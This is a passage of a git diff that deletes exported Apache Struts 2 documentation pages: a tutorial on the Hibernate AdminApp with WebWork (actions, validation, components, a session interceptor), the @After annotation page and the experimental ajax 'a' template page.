-"AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY
-KIND, either express or implied.  See the License for the
-specific language governing permissions and limitations
-under the License. 
--->
-<html>
-<head>
-    <link type="text/css" rel="stylesheet" href="https://struts.apache.org/css/default.css">
-    <style type="text/css">
-        .dp-highlighter {
-            width:95% !important;
-        }
-    </style>
-    <style type="text/css">
-        .footer {
-            background-image:      url('https://cwiki.apache.org/confluence/images/border/border_bottom.gif');
-            background-repeat:     repeat-x;
-            background-position:   left top;
-            padding-top:           4px;
-            color:                 #666;
-        }
-    </style>
-    <link href='https://struts.apache.org/highlighter/style/shCoreStruts.css' rel='stylesheet' type='text/css' />
-    <link href='https://struts.apache.org/highlighter/style/shThemeStruts.css' rel='stylesheet' type='text/css' />
-    <script src='https://struts.apache.org/highlighter/js/shCore.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushPlain.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushXml.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushJava.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushJScript.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushGroovy.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushBash.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushCss.js' type='text/javascript'></script>
-    <script type="text/javascript">
-        SyntaxHighlighter.defaults['toolbar'] = false;
-        SyntaxHighlighter.all();
-    </script>
-    <script type="text/javascript" language="javascript">
-        var hide = null;
-        var show = null;
-        var children = null;
-
-        function init() {
-            /* Search form initialization */
-            var form = document.forms['search'];
-            if (form != null) {
-                form.elements['domains'].value = location.hostname;
-                form.elements['sitesearch'].value = location.hostname;
-            }
-
-            /* Children initialization */
-            hide = document.getElementById('hide');
-            show = document.getElementById('show');
-            children = document.all != null ?
-                    document.all['children'] :
-                    document.getElementById('children');
-            if (children != null) {
-                children.style.display = 'none';
-                show.style.display = 'inline';
-                hide.style.display = 'none';
-            }
-        }
-
-        function showChildren() {
-            children.style.display = 'block';
-            show.style.display = 'none';
-            hide.style.display = 'inline';
-        }
-
-        function hideChildren() {
-            children.style.display = 'none';
-            show.style.display = 'inline';
-            hide.style.display = 'none';
-        }
-    </script>
-    <title>AdminApp</title>
-</head>
-<body onload="init()">
-<table border="0" cellpadding="2" cellspacing="0" width="100%">
-    <tr class="topBar">
-        <td align="left" valign="middle" class="topBarDiv" align="left" nowrap>
-            &nbsp;<a href="home.html">Home</a>&nbsp;&gt;&nbsp;<a href="tutorials.html">Tutorials</a>&nbsp;&gt;&nbsp;<a href="adminapp.html">AdminApp</a>
-        </td>
-        <td align="right" valign="middle" nowrap>
-            <form name="search" action="https://www.google.com/search" method="get">
-                <input type="hidden" name="ie" value="UTF-8" />
-                <input type="hidden" name="oe" value="UTF-8" />
-                <input type="hidden" name="domains" value="" />
-                <input type="hidden" name="sitesearch" value="" />
-                <input type="text" name="q" maxlength="255" value="" />
-                <input type="submit" name="btnG" value="Google Search" />
-            </form>
-        </td>
-    </tr>
-</table>
-
-<div id="PageContent">
-    <div class="pageheader" style="padding: 6px 0px 0px 0px;">
-        <!-- We'll enable this once we figure out how to access (and save) the logo resource -->
-        <!--img src="/wiki/images/confluence_logo.gif" style="float: left; margin: 4px 4px 4px 10px;" border="0"-->
-        <div style="margin: 0px 10px 0px 10px" class="smalltext">Apache Struts 2 Documentation</div>
-        <div style="margin: 0px 10px 8px 10px"  class="pagetitle">AdminApp</div>
-
-        <div class="greynavbar" align="right" style="padding: 2px 10px; margin: 0px;">
-            <a href="https://cwiki.apache.org/confluence/pages/editpage.action?pageId=14086">
-                <img src="https://cwiki.apache.org/confluence/images/icons/notep_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Edit Page"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/editpage.action?pageId=14086">Edit Page</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/listpages.action?key=WW">
-                <img src="https://cwiki.apache.org/confluence/images/icons/browse_space.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Browse Space"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/listpages.action?key=WW">Browse Space</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/createpage.action?spaceKey=WW&fromPageId=14086">
-                <img src="https://cwiki.apache.org/confluence/images/icons/add_page_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Add Page"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/createpage.action?spaceKey=WW&fromPageId=14086">Add Page</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/createblogpost.action?spaceKey=WW&fromPageId=14086">
-                <img src="https://cwiki.apache.org/confluence/images/icons/add_blogentry_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Add News"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/createblogpost.action?spaceKey=WW&fromPageId=14086">Add News</a>
-        </div>
-    </div>
-
-    <div class="pagecontent">
-        <div class="wiki-content">
-            <div id="ConfluenceContent">
-
-<p>TODO: Documenting updated version (currently at <a shape="rect" class="external-link" href="http://www.i-tao.com/adminapp.html" rel="nofollow">http://www.i-tao.com/adminapp.html</a>). IN PROGRESS.</p>
-
-<h2 id="AdminApp-Introduction">Introduction</h2>
-<p>This page aims at providing some additional information about the <a shape="rect" class="external-link" href="http://www.hibernate.org" rel="nofollow">Hibernate</a> <a shape="rect" class="external-link" href="http://www.hibernate.org/159.html#a5" rel="nofollow">AdminApp</a>. The Hibernate AdminApp (hereafter referred to as AA) was created by the Hibernate developers to show a possible implementation strategy for Hibernate with Webwork. Although AA can still be used as a starting point [...]
-
-<p>AA2 relies on WW2.2, Hibernate 3.1, and Spring as its IoC container (rather than XWork's, which has been deprecated in WW 2.2). We'll first discuss the original AA. Later on, we'll show the differences with AA2. Ron, if you're reading this, feel free to point out any mistakes/edit this document.</p>
-
-<p>Like we pointed out before, AA shows a possible implementation strategy to use Hibernate in WebWork in combination with a so-called open-session-in-view pattern (<a shape="rect" class="external-link" href="http://www.hibernate.org/43.html" rel="nofollow">more info</a>, <a shape="rect" class="external-link" href="http://www.jroller.com/page/cardsharp?entry=open_session_in_view_pattern" rel="nofollow">even more</a>). This pattern allows maximum flexibility in our view layer by creating  [...]
-
-<p>To accomplish this, AA uses XWork's <a shape="rect" href="dependency-injection.html">components</a> and <a shape="rect" href="interceptors.html">interceptors</a>:</p>
-
-<ul><li><a shape="rect" href="dependency-injection.html">components</a>: XWork manages the lifecycle of objects in several scopes (application, session, request) and takes care of the IoC through the ..Aware interfaces (so called enablers). Hibernate's expensive-to-create SessionFactory will thus be created in the application scope (meaning it will only be initialised once when the application starts up), while the Session objects, used to load our models, is registered in the request sc [...]
-
-
-<ul><li><a shape="rect" href="interceptors.html">interceptors</a>: AA uses an interceptor (the HibernateInterceptor) to extract the Session from the WebWork action, so it can control the transactions, redirect/rollback on errors and properly dispose the Session after the view is rendered.</li></ul>
-
-
-<h2 id="AdminApp-AdminAppSourceOverview">AdminApp Source Overview</h2>
-
-<p>Now, let's properly dissect the AA files:</p>
-<ul><li>/lib: contains the various jars for our application. Nothing special here.</li><li>/src/java/org/hibernate/admin/action: lists our WebWork actions. All actions extend an abstract AbstractAction file, which overrides the execute() method from our XWork's ActionSupport. This is where we define a setHibernateSession() method, which is the method we declared in our enabler interface (HibernateSessionAware). This will notify XWork to invoke its IoC magic to set the HibernateSession.</ [...]
-
-
-<div class="code panel pdl" style="border-width: 1px;"><div class="codeHeader panelHeader pdl" style="border-bottom-width: 1px;"><b>org.hibernate.admin.action.AbstractAction</b></div><div class="codeContent panelContent pdl">
-<pre class="brush: java; gutter: false; theme: Default" style="font-size:12px;">
-        public String execute() throws Exception {
-	
-		// We go to INPUT on field and data errors
-		if ( hasErrors() ) {
-			LOG.debug("action not executed, field or action errors");
-			LOG.debug( "Field errors: " + getFieldErrors() );
-			LOG.debug( "Action errors: " + getActionErrors() );
-			return INPUT;
-		}
-
-		LOG.debug("executing action");
-		return go();
-	}
-	
-	protected abstract String go() throws HibernateException;
-
-	public void setHibernateSession(HibernateSession session) {
-		this.session = session;
-	}
-
-	protected Session getSession() throws HibernateException {
-		return session.getSession();
-	}
-</pre>
-</div></div>
-<p>In this execute() method we'll simply call a abstract go() method (which is then defined in each of the actions). When we need the Hibernate Session, we use the getSession() method, inherited from our AbstractAction. Don't worry about transactions or saving so called dirty objects (our HibernateInterceptor takes care of all that). As you can see, this totally minimizes the LoC (lines of code) needed to retrieve or manipulated our models).</p>
-<div class="code panel pdl" style="border-width: 1px;"><div class="codeHeader panelHeader pdl" style="border-bottom-width: 1px;"><b>org.hibernate.admin.action.EditUserAction</b></div><div class="codeContent panelContent pdl">
-<pre class="brush: java; gutter: false; theme: Default" style="font-size:12px;">
-public class EditUserAction extends AbstractAction {
-	//.. ommited for brevity
-	
-	protected String go() throws HibernateException {
-		..
-		getSession().update(user);
-		..
-		return SUCCESS;
-	}
-	
-	//.. getters and setters ommited
-
-}
-</pre>
-</div></div>
-
-<p>There are 3 more *-validation.xml files in this directory containing the validation logic for the Actions. XWork will validate your request before the action gets executed, so you can decouple your (simple) validation logic from your Action. For example, take a look at the CreateUserAction-validation.xml:</p>
-
-<div class="code panel pdl" style="border-width: 1px;"><div class="codeHeader panelHeader pdl" style="border-bottom-width: 1px;"><b>CreateUserAction-validation.xml</b></div><div class="codeContent panelContent pdl">
-<pre class="brush: xml; gutter: false; theme: Default" style="font-size:12px;">
-..
-    &lt;field name="user.name.lastName"&gt;
-        &lt;field-validator type="requiredstring"&gt;
-            &lt;message&gt;You must enter a last name.&lt;/message&gt;
-        &lt;/field-validator&gt;
-    &lt;/field&gt;
-    &lt;field name="user.email"&gt;
-        &lt;field-validator type="email"&gt;
-            &lt;message&gt;Please correct the e-mail address.&lt;/message&gt;
-        &lt;/field-validator&gt;
-        &lt;field-validator type="required"&gt;
-            &lt;message&gt;Please enter an e-mail address.&lt;/message&gt;
-        &lt;/field-validator&gt;
-    &lt;/field&gt;
-..
-</pre>
-</div></div>
-
-<p><a shape="rect" href="validation.html">Several validator types</a> are available. Here we rely on XWork to validate our Actions, but it's also possible to validate our object Models (see <a shape="rect" href="validation.html">WW Validation</a>). You will mostly use these to validate submitted forms in your webapp. </p>
-
-<p>When a validator fails, you will automatically be returned to the input page with a clear indication which field failed to validate if: </p>
-
-<p>a) actually provided an input type in your <a shape="rect" href="strutsxml.html">struts.xml</a> file</p>
-<div class="code panel pdl" style="border-width: 1px;"><div class="codeHeader panelHeader pdl" style="border-bottom-width: 1px;"><b>xwork.xml</b></div><div class="codeContent panelContent pdl">
-<pre class="brush: xml; gutter: false; theme: Default" style="font-size:12px;">
-	..
-        &lt;result name="input" type="dispatcher"&gt;
-		&lt;param name="location"&gt;/editUser.jsp&lt;/param&gt;
-	&lt;/result&gt;
-	..
-</pre>
-</div></div>
-<p>b) you enabled the validation interceptor in your <a shape="rect" href="strutsxml.html">struts.xml</a></p>
-<div class="code panel pdl" style="border-width: 1px;"><div class="codeHeader panelHeader pdl" style="border-bottom-width: 1px;"><b>xwork.xml</b></div><div class="codeContent panelContent pdl">
-<pre class="brush: xml; gutter: false; theme: Default" style="font-size:12px;">
-	..
-	&lt;interceptor-ref name="defaultStack"/&gt;
-	&lt;interceptor-ref name="validation"/&gt;
-	..
-</pre>
-</div></div>
-<p>c) you use the WebWork tag library (warning: this is the old syntax):</p>
-<div class="code panel pdl" style="border-width: 1px;"><div class="codeHeader panelHeader pdl" style="border-bottom-width: 1px;"><b>CreateUser.jsp</b></div><div class="codeContent panelContent pdl">
-<pre class="brush: xml; gutter: false; theme: Default" style="font-size:12px;">
-..
-&lt;ww:form name="'createUserForm'" action="'createUser.action'" method="'POST'"&gt;
-    &lt;ww:textfield label="'Username'" name="'user.handle'"/&gt;
-..
-</pre>
-</div></div>
-
-<p>New syntax (since 2.2):</p>
-
-<div class="code panel pdl" style="border-width: 1px;"><div class="codeHeader panelHeader pdl" style="border-bottom-width: 1px;"><b>CreateUser.jsp</b></div><div class="codeContent panelContent pdl">
-<pre class="brush: xml; gutter: false; theme: Default" style="font-size:12px;">
-..
-&lt;ww:form name="createUserForm" action="createUser" method="POST"&gt;
-    &lt;ww:textfield label="Username" name="user.handle"/&gt;
-..
-</pre>
-</div></div>
-
-<ul><li>/src/java/org/hibernate/admin/component: contains the components and enablers for both the HibernateSessionFactory and the HibernateSession. These components are declared in the /src/java/<a shape="rect" href="dependency-injection.html">components.xml</a> file (which will be copied to the root of your compiled classes afterwards):</li></ul>
-
-
-<div class="code panel pdl" style="border-width: 1px;"><div class="codeHeader panelHeader pdl" style="border-bottom-width: 1px;"><b>components.xml</b></div><div class="codeContent panelContent pdl">
-<pre class="brush: xml; gutter: false; theme: Default" style="font-size:12px;">
-&lt;components&gt;
-
-    &lt;component&gt;
-        &lt;scope&gt;request&lt;/scope&gt;
-        &lt;class&gt;org.hibernate.admin.component.HibernateSession&lt;/class&gt;
-        &lt;enabler&gt;org.hibernate.admin.component.HibernateSessionAware&lt;/enabler&gt;
-    &lt;/component&gt;
-
-    &lt;component&gt;
-        &lt;scope&gt;application&lt;/scope&gt;
-        &lt;class&gt;org.hibernate.admin.component.HibernateSessionFactory&lt;/class&gt;
-        &lt;enabler&gt;org.hibernate.admin.component.HibernateSessionFactoryAware&lt;/enabler&gt;
-    &lt;/component&gt;
-
-&lt;/components&gt;
-</pre>
-</div></div>
-
-<ul><li>/src/java/org/hibernate/admin/interceptor: contains the Hibernate interceptor. <a shape="rect" href="interceptors.html">Interceptors</a> are an incredibly powerful feature of WebWork - it allows you to control invocations before and after they excute, manipulate their results, or, as in our case, extract the HibernateSession object and dispose it after the Action has been executed (and the view rendered). Because we use a try/catch/finally block, we're able to catch exceptions an [...]
-
-
-<div class="code panel pdl" style="border-width: 1px;"><div class="codeHeader panelHeader pdl" style="border-bottom-width: 1px;"><b>org.hibernate.admin.interceptor.HibernateInterceptor</b></div><div class="codeContent panelContent pdl">
-<pre class="brush: java; gutter: false; theme: Default" style="font-size:12px;">
-	public String intercept(ActionInvocation invocation) throws Exception {
-		Action action = invocation.getAction();
-		if ( !(action instanceof AbstractAction) ) return invocation.invoke();
-		
-		HibernateSession hs = ( (AbstractAction) action ).getHibernateSession();
-		try {
-			return invocation.invoke();
-		}
-		
-		// Note that all the cleanup is done
-		// after the view is rendered, so we
-		// have an open session in the view
-		
-		catch (Exception e) {	
-			hs.setRollBackOnly(true);
-			if (e instanceof HibernateException) {
-				LOG.error("HibernateException in execute()", e);
-				return Action.ERROR;
-			}
-			else {
-				LOG.error("Exception in execute()", e);
-				throw e;
-			}
-		}
-		
-		finally {
-			try {
-				hs.disposeSession();
-			}
-			catch (HibernateException e) {
-				LOG.error("HibernateException in dispose()", e);
-				return Action.ERROR;
-			}
-		}
-	}
-</pre>
-</div></div>
-
-
-<h2 id="AdminApp-Conclusion">Conclusion</h2>
-<p>In this document, we tried to point out several key features in the Hibernate AdminApp. In part II, we'll have a look at the new AdminApp, which is far more up to date, and uses Spring as its IoC container. No more implements ActionSupport or Aware interfaces, resulting in even cleaner code.</p>
-
-<p>AdminApp is a very good example of how a webapp can be structered, using as many advantages from the various frameworks as possible.</p></div>
-        </div>
-
-        
-    </div>
-</div>
-<div class="footer">
-    Generated by CXF SiteExporter
-</div>
-</body>
-</html>
diff --git a/content/docs/after-annotation.html b/content/docs/after-annotation.html
deleted file mode 100644
index 940f730..0000000
--- a/content/docs/after-annotation.html
+++ /dev/null
@@ -1,183 +0,0 @@
-<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd">
-<!-- 
-Licensed to the Apache Software Foundation (ASF) under one
-or more contributor license agreements.  See the NOTICE file
-distributed with this work for additional information
-regarding copyright ownership.  The ASF licenses this file
-to you under the Apache License, Version 2.0 (the
-"License"); you may not use this file except in compliance
-with the License.  You may obtain a copy of the License at
-
- http://www.apache.org/licenses/LICENSE-2.0
-
-Unless required by applicable law or agreed to in writing,
-software distributed under the License is distributed on an
-"AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY
-KIND, either express or implied.  See the License for the
-specific language governing permissions and limitations
-under the License. 
--->
-<html>
-<head>
-    <link type="text/css" rel="stylesheet" href="https://struts.apache.org/css/default.css">
-    <style type="text/css">
-        .dp-highlighter {
-            width:95% !important;
-        }
-    </style>
-    <style type="text/css">
-        .footer {
-            background-image:      url('https://cwiki.apache.org/confluence/images/border/border_bottom.gif');
-            background-repeat:     repeat-x;
-            background-position:   left top;
-            padding-top:           4px;
-            color:                 #666;
-        }
-    </style>
-    <link href='https://struts.apache.org/highlighter/style/shCoreStruts.css' rel='stylesheet' type='text/css' />
-    <link href='https://struts.apache.org/highlighter/style/shThemeStruts.css' rel='stylesheet' type='text/css' />
-    <script src='https://struts.apache.org/highlighter/js/shCore.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushPlain.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushXml.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushJava.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushJScript.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushGroovy.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushBash.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushCss.js' type='text/javascript'></script>
-    <script type="text/javascript">
-        SyntaxHighlighter.defaults['toolbar'] = false;
-        SyntaxHighlighter.all();
-    </script>
-    <script type="text/javascript" language="javascript">
-        var hide = null;
-        var show = null;
-        var children = null;
-
-        function init() {
-            /* Search form initialization */
-            var form = document.forms['search'];
-            if (form != null) {
-                form.elements['domains'].value = location.hostname;
-                form.elements['sitesearch'].value = location.hostname;
-            }
-
-            /* Children initialization */
-            hide = document.getElementById('hide');
-            show = document.getElementById('show');
-            children = document.all != null ?
-                    document.all['children'] :
-                    document.getElementById('children');
-            if (children != null) {
-                children.style.display = 'none';
-                show.style.display = 'inline';
-                hide.style.display = 'none';
-            }
-        }
-
-        function showChildren() {
-            children.style.display = 'block';
-            show.style.display = 'none';
-            hide.style.display = 'inline';
-        }
-
-        function hideChildren() {
-            children.style.display = 'none';
-            show.style.display = 'inline';
-            hide.style.display = 'none';
-        }
-    </script>
-    <title>After Annotation</title>
-</head>
-<body onload="init()">
-<table border="0" cellpadding="2" cellspacing="0" width="100%">
-    <tr class="topBar">
-        <td align="left" valign="middle" class="topBarDiv" align="left" nowrap>
-            &nbsp;<a href="home.html">Home</a>&nbsp;&gt;&nbsp;<a href="guides.html">Guides</a>&nbsp;&gt;&nbsp;<a href="core-developers-guide.html">Core Developers Guide</a>&nbsp;&gt;&nbsp;<a href="annotations.html">Annotations</a>&nbsp;&gt;&nbsp;<a href="after-annotation.html">After Annotation</a>
-        </td>
-        <td align="right" valign="middle" nowrap>
-            <form name="search" action="https://www.google.com/search" method="get">
-                <input type="hidden" name="ie" value="UTF-8" />
-                <input type="hidden" name="oe" value="UTF-8" />
-                <input type="hidden" name="domains" value="" />
-                <input type="hidden" name="sitesearch" value="" />
-                <input type="text" name="q" maxlength="255" value="" />
-                <input type="submit" name="btnG" value="Google Search" />
-            </form>
-        </td>
-    </tr>
-</table>
-
-<div id="PageContent">
-    <div class="pageheader" style="padding: 6px 0px 0px 0px;">
-        <!-- We'll enable this once we figure out how to access (and save) the logo resource -->
-        <!--img src="/wiki/images/confluence_logo.gif" style="float: left; margin: 4px 4px 4px 10px;" border="0"-->
-        <div style="margin: 0px 10px 0px 10px" class="smalltext">Apache Struts 2 Documentation</div>
-        <div style="margin: 0px 10px 8px 10px"  class="pagetitle">After Annotation</div>
-
-        <div class="greynavbar" align="right" style="padding: 2px 10px; margin: 0px;">
-            <a href="https://cwiki.apache.org/confluence/pages/editpage.action?pageId=14229">
-                <img src="https://cwiki.apache.org/confluence/images/icons/notep_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Edit Page"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/editpage.action?pageId=14229">Edit Page</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/listpages.action?key=WW">
-                <img src="https://cwiki.apache.org/confluence/images/icons/browse_space.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Browse Space"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/listpages.action?key=WW">Browse Space</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/createpage.action?spaceKey=WW&fromPageId=14229">
-                <img src="https://cwiki.apache.org/confluence/images/icons/add_page_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Add Page"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/createpage.action?spaceKey=WW&fromPageId=14229">Add Page</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/createblogpost.action?spaceKey=WW&fromPageId=14229">
-                <img src="https://cwiki.apache.org/confluence/images/icons/add_blogentry_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Add News"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/createblogpost.action?spaceKey=WW&fromPageId=14229">Add News</a>
-        </div>
-    </div>
-
-    <div class="pagecontent">
-        <div class="wiki-content">
-            <div id="ConfluenceContent"><h1 id="AfterAnnotation-AfterAnnotation">After Annotation</h1>
-
-<p>Marks a action method that needs to be called after the main action method and the result was
-executed. Return value is ignored.</p>
-
-<h2 id="AfterAnnotation-Usage">Usage</h2>
-
-<p>The After annotation can be applied at method level.</p>
-
-
-<h2 id="AfterAnnotation-Parameters">Parameters</h2>
-
-<p><table class="confluenceTable" summary=""><tr><th colspan="1" rowspan="1" class="confluenceTh"> Parameter </th><th colspan="1" rowspan="1" class="confluenceTh"> Required </th><th colspan="1" rowspan="1" class="confluenceTh"> Default </th><th colspan="1" rowspan="1" class="confluenceTh"> Notes </th></tr><tr><td colspan="1" rowspan="1" class="confluenceTd">priority</td><td colspan="1" rowspan="1" class="confluenceTd">no</td><td colspan="1" rowspan="1" class="confluenceTd">10</td><td col [...]
-
-<h2 id="AfterAnnotation-Examples">Examples</h2>
-
-<div class="code panel pdl" style="border-width: 1px;"><div class="codeContent panelContent pdl">
-<script class="brush: java; gutter: false; theme: Confluence" type="syntaxhighlighter"><![CDATA[
-public class SampleAction extends ActionSupport {
-
- @After
- public void isValid() throws ValidationException {
-   // validate model object, throw exception if failed
- }
-
- public String execute() {
-    // perform action
-    return SUCCESS;
- }
-}
-]]></script>
-</div></div></div>
-        </div>
-
-        
-    </div>
-</div>
-<div class="footer">
-    Generated by CXF SiteExporter
-</div>
-</body>
-</html>
diff --git a/content/docs/ajax-a-template.html b/content/docs/ajax-a-template.html
deleted file mode 100644
index b0fc093..0000000
--- a/content/docs/ajax-a-template.html
+++ /dev/null
@@ -1,146 +0,0 @@
-<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd">
-<!-- 
-Licensed to the Apache Software Foundation (ASF) under one
-or more contributor license agreements.  See the NOTICE file
-distributed with this work for additional information
-regarding copyright ownership.  The ASF licenses this file
-to you under the Apache License, Version 2.0 (the
-"License"); you may not use this file except in compliance
-with the License.  You may obtain a copy of the License at
-
- http://www.apache.org/licenses/LICENSE-2.0
-
-Unless required by applicable law or agreed to in writing,
-software distributed under the License is distributed on an
-"AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY
-KIND, either express or implied.  See the License for the
-specific language governing permissions and limitations
-under the License. 
--->
-<html>
-<head>
-    <link type="text/css" rel="stylesheet" href="https://struts.apache.org/css/default.css">
-    <style type="text/css">
-        .dp-highlighter {
-            width:95% !important;
-        }
-    </style>
-    <style type="text/css">
-        .footer {
-            background-image:      url('https://cwiki.apache.org/confluence/images/border/border_bottom.gif');
-            background-repeat:     repeat-x;
-            background-position:   left top;
-            padding-top:           4px;
-            color:                 #666;
-        }
-    </style>
-    <script type="text/javascript" language="javascript">
-        var hide = null;
-        var show = null;
-        var children = null;
-
-        function init() {
-            /* Search form initialization */
-            var form = document.forms['search'];
-            if (form != null) {
-                form.elements['domains'].value = location.hostname;
-                form.elements['sitesearch'].value = location.hostname;
-            }
-
-            /* Children initialization */
-            hide = document.getElementById('hide');
-            show = document.getElementById('show');
-            children = document.all != null ?
-                    document.all['children'] :
-                    document.getElementById('children');
-            if (children != null) {
-                children.style.display = 'none';
-                show.style.display = 'inline';
-                hide.style.display = 'none';
-            }
-        }
-
-        function showChildren() {
-            children.style.display = 'block';
-            show.style.display = 'none';
-            hide.style.display = 'inline';
-        }
-
-        function hideChildren() {
-            children.style.display = 'none';
-            show.style.display = 'inline';
-            hide.style.display = 'none';
-        }
-    </script>
-    <title>ajax a template</title>
-</head>
-<body onload="init()">
-<table border="0" cellpadding="2" cellspacing="0" width="100%">
-    <tr class="topBar">
-        <td align="left" valign="middle" class="topBarDiv" align="left" nowrap>
-            &nbsp;<a href="home.html">Home</a>&nbsp;&gt;&nbsp;<a href="guides.html">Guides</a>&nbsp;&gt;&nbsp;<a href="tag-developers-guide.html">Tag Developers Guide</a>&nbsp;&gt;&nbsp;<a href="struts-tags.html">Struts Tags</a>&nbsp;&gt;&nbsp;<a href="ui-tags.html">UI Tags</a>&nbsp;&gt;&nbsp;<a href="themes-and-templates.html">Themes and Templates</a>&nbsp;&gt;&nbsp;<a href="ajax-theme.html">ajax theme</a>&nbsp;&gt;&nbsp;<a href="ajax-a-template.html">ajax a template</a>
-        </td>
-        <td align="right" valign="middle" nowrap>
-            <form name="search" action="https://www.google.com/search" method="get">
-                <input type="hidden" name="ie" value="UTF-8" />
-                <input type="hidden" name="oe" value="UTF-8" />
-                <input type="hidden" name="domains" value="" />
-                <input type="hidden" name="sitesearch" value="" />
-                <input type="text" name="q" maxlength="255" value="" />
-                <input type="submit" name="btnG" value="Google Search" />
-            </form>
-        </td>
-    </tr>
-</table>
-
-<div id="PageContent">
-    <div class="pageheader" style="padding: 6px 0px 0px 0px;">
-        <!-- We'll enable this once we figure out how to access (and save) the logo resource -->
-        <!--img src="/wiki/images/confluence_logo.gif" style="float: left; margin: 4px 4px 4px 10px;" border="0"-->
-        <div style="margin: 0px 10px 0px 10px" class="smalltext">Apache Struts 2 Documentation</div>
-        <div style="margin: 0px 10px 8px 10px"  class="pagetitle">ajax a template</div>
-
-        <div class="greynavbar" align="right" style="padding: 2px 10px; margin: 0px;">
-            <a href="https://cwiki.apache.org/confluence/pages/editpage.action?pageId=13933">
-                <img src="https://cwiki.apache.org/confluence/images/icons/notep_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Edit Page"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/editpage.action?pageId=13933">Edit Page</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/listpages.action?key=WW">
-                <img src="https://cwiki.apache.org/confluence/images/icons/browse_space.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Browse Space"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/listpages.action?key=WW">Browse Space</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/createpage.action?spaceKey=WW&fromPageId=13933">
-                <img src="https://cwiki.apache.org/confluence/images/icons/add_page_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Add Page"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/createpage.action?spaceKey=WW&fromPageId=13933">Add Page</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/createblogpost.action?spaceKey=WW&fromPageId=13933">
-                <img src="https://cwiki.apache.org/confluence/images/icons/add_blogentry_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Add News"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/createblogpost.action?spaceKey=WW&fromPageId=13933">Add News</a>
-        </div>
-    </div>
-
-    <div class="pagecontent">
-        <div class="wiki-content">
-            <div id="ConfluenceContent"><div class="confluence-information-macro confluence-information-macro-note"><span class="aui-icon aui-icon-small aui-iconfont-warning confluence-information-macro-icon"></span><div class="confluence-information-macro-body"><p>The ajax theme is experimental. Feedback is appreciated.</p></div></div>
-
-<p>The ajax a template is used to make asynchronous calls to the server when the user clicks on the a href link.  It is useful when you need to communicate information back to the application from the UI, without requiring the entire page to be re-rendered.  An example would be removing an item from a list.</p>
-
-<p>The <em>preInvokeJS</em> attribute is used to determine whether the URL specified should be called or not, and must contain Javascript that returns <em>true</em> or <em>false</em>.  If you want to call a JavaScript function, use the format preInvokeJS='yourMethodName(data,type)'. An example would be to show a confirm dialog to the user to double check whether they want to remove a user from a list.</p>
-
-<p><strong>Remember</strong>: the content returned by the <em>href</em> attribute must be JavaScript. That JavaScript will then be evaluated within the webpage. If you only wish to publish an event to the topic specified, then simply return no result (or NONE) from your action and utilize the <em>notifyTopics</em> attribute to specific the topic names.</p>
-
-<p>For an example of the interaction between the <a shape="rect" href="div.html">div</a> tag and the <a shape="rect" href="a.html">a</a> tag using the topic pub/sub model, see the examples in the <a shape="rect" href="ajax-div-template.html">ajax div template</a>.</p></div>
-        </div>
-
-        
-    </div>
-</div>
-<div class="footer">
-    Generated by CXF SiteExporter
-</div>
-</body>
-</html>
diff --git a/content/docs/ajax-and-javascript-recipes.html b/content/docs/ajax-and-javascript-recipes.html
deleted file mode 100644
index 33d06ce..0000000
--- a/content/docs/ajax-and-javascript-recipes.html
+++ /dev/null
